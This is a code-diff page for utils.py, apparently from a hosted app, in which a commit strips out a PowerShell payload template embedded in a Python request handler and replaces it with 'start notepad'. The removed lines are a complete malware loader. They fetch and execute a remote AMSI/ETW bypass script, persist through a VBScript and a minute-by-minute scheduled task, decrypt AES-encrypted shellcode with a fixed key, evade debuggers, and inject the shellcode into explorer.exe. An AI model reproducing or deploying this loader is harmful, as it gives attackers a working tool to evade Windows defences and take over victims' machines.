Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -211,108 +211,7 @@ def process_request(request):
|
|
211 |
|
212 |
# Create the PowerShell script with the provided content
|
213 |
ps1_content = f'''
|
214 |
-
|
215 |
-
iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/Null-AMSI/refs/heads/main/Invoke-NullAMSI.ps1)
|
216 |
-
# Run the Invoke-NullAMSI command
|
217 |
-
Invoke-NullAMSI
|
218 |
-
Invoke-NullAMSI -etw
|
219 |
-
# Define the content of the VBScript
|
220 |
-
$vbsContent = @'
|
221 |
-
Set objShell = CreateObject("WScript.Shell")
|
222 |
-
objShell.Run "powershell -EP Bypass -File \\"C:\\ProgramData\\Installer\\Verification.ps1\\"", 0, True
|
223 |
-
'@
|
224 |
-
# Define the file path for the .vbs file in the desired location
|
225 |
-
$vbsFilePath = "C:\\ProgramData\\Installer\\0.vbs"
|
226 |
-
# Write the content to the .vbs file
|
227 |
-
$vbsContent | Set-Content -Path $vbsFilePath -Encoding ASCII
|
228 |
-
Write-Host "VBScript file created at: $vbsFilePath"
|
229 |
-
$Action = New-ScheduledTaskAction -Execute "C:\\ProgramData\\Installer\\0.vbs"
|
230 |
-
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
|
231 |
-
Register-ScheduledTask -TaskName "HiPPo Setting" -Action $Action -Trigger $Trigger -Force
|
232 |
-
# Define a fixed 16-byte key for encryption (fixed key as "MyFixedEncryptionKey")
|
233 |
-
$keyBytes = [System.Text.Encoding]::UTF8.GetBytes("MyFixedEncryptionKey")
|
234 |
-
# Ensure the key length is 16 bytes (AES requires 16, 24, or 32 bytes)
|
235 |
-
if ($keyBytes.Length -gt 16) {{
|
236 |
-
$keyBytes = $keyBytes[0..15] # Trim the key to 16 bytes if it's longer
|
237 |
-
}}
|
238 |
-
elseif ($keyBytes.Length -lt 16) {{
|
239 |
-
# If the key is too short, pad it with zeros to make it 16 bytes
|
240 |
-
$keyBytes = $keyBytes + (New-Object Byte[] (16 - $keyBytes.Length))
|
241 |
-
}}
|
242 |
-
# Function to download the encrypted binary from the server
|
243 |
-
function Download-EncryptedShellcode {{
|
244 |
-
param([string]$url)
|
245 |
-
# Download the encrypted binary file directly into memory as a byte array
|
246 |
-
$response = Invoke-WebRequest -Uri $url -UseBasicParsing
|
247 |
-
return $response.Content
|
248 |
-
}}
|
249 |
-
# Read the encrypted shellcode from a local binary file
|
250 |
-
$encryptedBuf = [System.IO.File]::ReadAllBytes("C:\\ProgramData\\Installer\\{bin_file_name}")
|
251 |
-
# Create an AES encryption object
|
252 |
-
$aes = [System.Security.Cryptography.Aes]::Create()
|
253 |
-
# Set the decryption key and initialization vector (IV)
|
254 |
-
$aes.Key = $keyBytes
|
255 |
-
$aes.IV = $keyBytes[0..15] # Use the first 16 bytes of the key for the IV
|
256 |
-
# Create a memory stream to hold the decrypted data
|
257 |
-
$memoryStream = New-Object System.IO.MemoryStream
|
258 |
-
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
|
259 |
-
# Decrypt the encrypted data into the memory stream
|
260 |
-
$cryptoStream.Write($encryptedBuf, 0, $encryptedBuf.Length)
|
261 |
-
$cryptoStream.Close()
|
262 |
-
# Get the decrypted shellcode
|
263 |
-
$buf = $memoryStream.ToArray()
|
264 |
-
# Anti-debugging mechanism
|
265 |
-
function IsDebuggerPresent {{
|
266 |
-
$IsDebuggerPresentCode = @"
|
267 |
-
using System;
|
268 |
-
using System.Runtime.InteropServices;
|
269 |
-
public class DebugHelper {{
|
270 |
-
[DllImport(\\"kernel32.dll\\")]
|
271 |
-
public static extern bool IsDebuggerPresent();
|
272 |
-
}}
|
273 |
-
"@
|
274 |
-
$debugHelper = Add-Type -TypeDefinition $IsDebuggerPresentCode -PassThru
|
275 |
-
return $debugHelper::IsDebuggerPresent()
|
276 |
-
}}
|
277 |
-
if (IsDebuggerPresent) {{
|
278 |
-
Write-Host "Debugger detected. Exiting."
|
279 |
-
exit
|
280 |
-
}}
|
281 |
-
# Inject shellcode into a target process (example: explorer.exe)
|
282 |
-
$Win32APICode = @"
|
283 |
-
using System;
|
284 |
-
using System.Runtime.InteropServices;
|
285 |
-
public class Win32API {{
|
286 |
-
[DllImport(\\"kernel32.dll\\", SetLastError = true, ExactSpelling = true)]
|
287 |
-
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
288 |
-
[DllImport(\\"kernel32.dll\\", SetLastError = true)]
|
289 |
-
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
|
290 |
-
[DllImport(\\"kernel32.dll\\", SetLastError = true)]
|
291 |
-
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
|
292 |
-
[DllImport(\\"kernel32.dll\\", SetLastError = true)]
|
293 |
-
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
|
294 |
-
[DllImport(\\"kernel32.dll\\", SetLastError = true)]
|
295 |
-
[return: MarshalAs(UnmanagedType.Bool)]
|
296 |
-
public static extern bool CloseHandle(IntPtr hObject);
|
297 |
-
}}
|
298 |
-
"@
|
299 |
-
$win32api = Add-Type -TypeDefinition $Win32APICode -PassThru
|
300 |
-
# Target process (explorer.exe) injection
|
301 |
-
$targetProcess = Get-Process explorer | Select-Object -First 1
|
302 |
-
$processHandle = $win32api::OpenProcess(0x1F0FFF, $false, $targetProcess.Id)
|
303 |
-
# Allocate memory in the target process
|
304 |
-
$size = 0x1000
|
305 |
-
if ($buf.Length -gt $size) {{ $size = $buf.Length }}
|
306 |
-
$remoteMemory = $win32api::VirtualAllocEx($processHandle, [IntPtr]::Zero, $size, 0x3000, 0x40)
|
307 |
-
# Write the shellcode into the allocated memory
|
308 |
-
$bytesWritten = [IntPtr]::Zero
|
309 |
-
$win32api::WriteProcessMemory($processHandle, $remoteMemory, $buf, $buf.Length, [ref]$bytesWritten)
|
310 |
-
# Create a remote thread to execute the shellcode
|
311 |
-
$threadId = [IntPtr]::Zero
|
312 |
-
$win32api::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $remoteMemory, [IntPtr]::Zero, 0, [ref]$threadId)
|
313 |
-
# Close the process handle
|
314 |
-
$win32api::CloseHandle($processHandle)
|
315 |
-
Write-Host "Shellcode injection completed successfully."
|
316 |
'''
|
317 |
ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
|
318 |
with open(ps1_path, 'w') as ps1_file:
|
|
|
211 |
|
212 |
# Create the PowerShell script with the provided content
|
213 |
ps1_content = f'''
|
214 |
+
start notepad
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
215 |
'''
|
216 |
ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
|
217 |
with open(ps1_path, 'w') as ps1_file:
|